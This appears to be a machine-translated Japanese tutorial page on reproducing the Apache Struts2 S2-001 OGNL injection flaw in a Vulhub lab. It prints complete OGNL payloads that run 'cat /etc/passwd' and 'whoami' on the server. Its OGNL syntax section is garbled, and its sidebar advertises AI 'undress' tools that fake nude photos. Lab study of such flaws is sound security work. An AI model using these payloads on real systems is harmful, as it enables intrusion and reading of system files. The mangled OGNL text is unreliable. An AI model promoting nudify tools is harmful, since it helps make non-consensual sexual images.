Struts2の脆弱性S2-001の分析例
Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-001
1. 脆弱性の説明:
struts2 脆弱性 S2-001 は、ユーザーがフォーム データを送信して検証が失敗した場合、サーバーは OGNL を使用します。式 ユーザーによって以前に送信されたパラメータ値 %{value} を解析し、対応するフォーム データを再入力します。たとえば、登録ページやログインページなどです。送信が失敗した場合、サーバーは通常、デフォルトで以前に送信されたデータを返します。サーバーは %{value} を使用して送信されたデータに対して OGNL 式解析を実行するため、サーバーはペイロードを直接送信してコマンドを実行できます。
2.vulhubの脆弱性悪用:
vulhubを利用して脆弱性を再現すると、環境構築の手間が省け大変便利です。
vulhub 公式 Web サイトのアドレス: https://vulhub.org
脆弱性環境を開始します。
docker-compsoe up -d
テスト ペイロードを入力してください
%{1+1}
加算式が正常に実行されたことがわかります。
今回はコマンドの実行を試します。新しい java.lang.String[{"cat","/etc/passwd"} ここで変更してください。実行したい。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[ {"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
passwd ファイルは正常に読み取られました。
次の 3 つの使用法ステートメント:
##%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{ "whoami"} )).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader( #c), #e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java .lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} | |
---|---|
1. アクセス基本オブジェクト ツリーへ オブジェクト ツリーへのアクセスは、オブジェクト参照をドットで連結することによって実行されます。 例: xxxx、xxxx.xxxx、xxxx.xxxx。 例: #xxxx、#xxxx. xxxx、#xxxx.xxxxx. xxxx -、*、/、、--、==、!=、= などの演算子を使用することもできます。 mod、in、not in など。 4. コンテナ、配列、オブジェクト OGNL は、配列や ArrayList などのコンテナへの順次アクセスをサポートします。例: group.users[0] 同時に、OGNL はマップのキー値検索をサポートします。例: # session['mySessionPropKey'] それだけでなく、OGNL はコンテナ構築のための式もサポートしています: 例: {"green", "red", "blue"} は List, #{ "key1": "value1", "key2" : "value2", "key3" : "value3"}マップの構築 任意のクラス オブジェクトのコンストラクターを使用して新しいオブジェクトを作成することもできます 例: new Java.net.URL ("xxxxxx/")5. 静的メソッドまたは変数へのアクセス クラスの静的メソッドとフィールドを参照するには、それらの式は同じ @class@member または @class@method(args ): 6. メソッド 呼び出し は、Java のようなメソッド呼び出しを通じて直接実行されます。パラメーターを渡すこともできます: 例: user.getName()、group.users.size()、group.containsUser (#requestUser) 7. 投影と選択 OGNL は、データベースと同様の投影と選択をサポートします。 射影とは、** の各要素の同じ属性を選択して新しい ** を形成することであり、リレーショナル データベースのフィールド操作に似ています。射影操作の構文は collection.{XXX} です。XXX は、この ** 内の各要素のパブリック属性です。 例: group.userList.{username} は、グループ内のすべてのユーザーの名前のリストを取得します。 選択とは、リレーショナルデータベースのレコード操作と同様に、選択条件を満たす**要素をフィルタリングすることです。選択操作の構文は次のとおりです: collection.{X YYY}。X は選択演算子で、その後に選択の論理式が続きます。 3 つの選択演算子があります: ? 条件を満たすすべての要素を選択します ^ 条件を満たす最初の要素を選択します $ 条件を満たす最後の要素を選択します 例: group.userList .{ ? #txxx.xxx != null} は、特定のグループ内で名前が空ではないユーザーのリストを取得します。 |
以上がStruts2の脆弱性S2-001の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック









1. はじめに Struts2 の脆弱性は古典的な一連の脆弱性であり、根本的な原因は、Struts2 がフレームワークを柔軟かつ動的にするために OGNL 式を導入していることです。フレームワーク全体のパッチ適用が改善されたことにより、Struts2 の新たな脆弱性の発見は以前よりもはるかに困難になりましたが、実際の状況から判断すると、ほとんどのユーザーが過去の高リスク脆弱性を既に修復済みです。現在、侵入テストを行う場合、Struts2 の脆弱性は主に偶然に任せられるか、イントラネットに公開された後でパッチが適用されていないシステムを攻撃する方がより効果的です。オンライン分析記事では、主にこれらの Struts2 の脆弱性を攻撃と悪用の観点から分析しています。新しい H3C の攻守チームとして、ips 製品のルールベースを維持することも仕事の一部であり、今日はこのシステムをレビューします。

Struts2 フレームワークの原理: 1. インターセプターはリクエスト パスを解析します; 2. アクションの完全なクラス名を検索します; 3. Action オブジェクトを作成します; 4. Action メソッドを実行します; 5. 結果を返します; 6. ビュー解析中。その原理は、ビジネス ロジック コントローラーをサーブレット API から完全に分離するインターセプター メカニズムに基づいており、コードの再利用性と保守性が向上します。 Struts2 フレームワークは、リフレクション メカニズムを使用することで、リクエストと応答を処理するための Action オブジェクトを柔軟に作成および管理できます。

Vulhub 脆弱性シリーズ: struts2 脆弱性 S2-0011 脆弱性の説明: struts2 脆弱性 S2-001 は、ユーザーがフォーム データを送信して検証が失敗した場合、サーバーは OGNL 式を使用して、ユーザーによって以前に送信されたパラメーター値 %{value} を解析します。対応するフォームデータを補充します。たとえば、登録ページやログインページなどです。送信が失敗した場合、サーバーは通常、デフォルトで以前に送信されたデータを返します。サーバーは %{value} を使用して送信されたデータに対して OGNL 式解析を実行するため、サーバーはペイロードを直接送信してコマンドを実行できます。 2. Vulhubの脆弱性悪用:vulhubを利用して脆弱性を再現すると、環境構築の手間が省け大変便利です。ヴ

0x00 はじめに Struts2 は、Apache ソフトウェア組織によって開発された非常に強力な JavaWeb オープン ソース フレームワークであり、本質的にはサーブレットと同等です。 Struts2 は MVC アーキテクチャに基づいており、明確なフレームワーク構造を持っています。通常、モデルとビュー間のデータ対話を確立するコントローラーとして使用され、エンタープライズ レベルの Java Web アプリケーションを作成するために使用されます。JavaServletAPI を利用および拡張し、開発者に MVC アーキテクチャの採用を奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークのいくつかの利点を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。 0x01 脆弱性

はじめに 2018 年 8 月 22 日に、Apache Struts2 には、高リスクのリモート コード実行の脆弱性 (S2-057/CVE-2018-11776) が存在し、最新のセキュリティ情報が公開されました。この脆弱性は、米国のセキュリティ研究者 ManYueMo によって発見されました。 SemmleSecurityResearchチーム。この脆弱性は、Struts2 開発フレームワークで名前空間関数を使用して XML 構成を定義するときに、名前空間の値が設定されておらず、上位層のアクション構成 (ActionConfiguration) にも設定されていないか、またはワイルドカード名前空間が使用されているという事実に起因します。これにより、リモートでコードが実行される可能性があります。同じように、あなたも

0x00 はじめに Struts2 フレームワークは、JavaEE Web アプリケーションを開発するためのオープンソース Web アプリケーション アーキテクチャです。 JavaServletAPI を利用および拡張し、開発者が MVC アーキテクチャを採用することを奨励します。 Struts2 は、WebWork の優れた設計アイデアをコアとして採用し、Struts フレームワークの利点の一部を吸収し、MVC 設計パターンで実装されたより整った Web アプリケーション フレームワークを提供します。 0x01 脆弱性の概要 ApacheStruts22.3.x シリーズでは struts2-struts1-plugin プラグインが有効になっており、struts2-showcase ディレクトリが存在する場合に脆弱性が発生します。

1. 概要 Struts は、Apache Software Foundation (ASF) がスポンサーとなっているオープンソース プロジェクトです。これはジャカルタ プロジェクト内のサブプロジェクトとして始まり、後に ASF のトップレベル プロジェクトになりました。 JavaServlet/JSP技術を利用し、JavaEE WebアプリケーションのModel-View-Controller[MVC]設計パターンに基づいたアプリケーションフレームワーク[WebFramework]を実装した、MVCクラシック設計パターンの代表的な製品です。 JavaEE Web アプリケーション開発の初期には、サーブレット テクノロジの使用に加えて、JavaServerPages (JSP) のソース コードで HTM が一般的に使用されていました。

現在、Apache はこの脆弱性を修正するバージョンアップデートを正式にリリースしています。 Apache Struts の製品バージョンを適時に確認し、影響を受ける場合は適時にパッチを適用することをお勧めします。 1. 脆弱性の紹介 ApacheStruts2 は、American Apache Software Foundation の Jakarta プロジェクトのサブプロジェクトであり、MVC 設計に基づいた Web アプリケーション フレームワークです。 2018 年 8 月 22 日、Apache は Apache Struts2S2-057 セキュリティ脆弱性 (CNNVD-201808-740、CVE-2018-11776) を正式にリリースしました。 struts2開発フレームワークでpan-namespace機能を有効にする場合
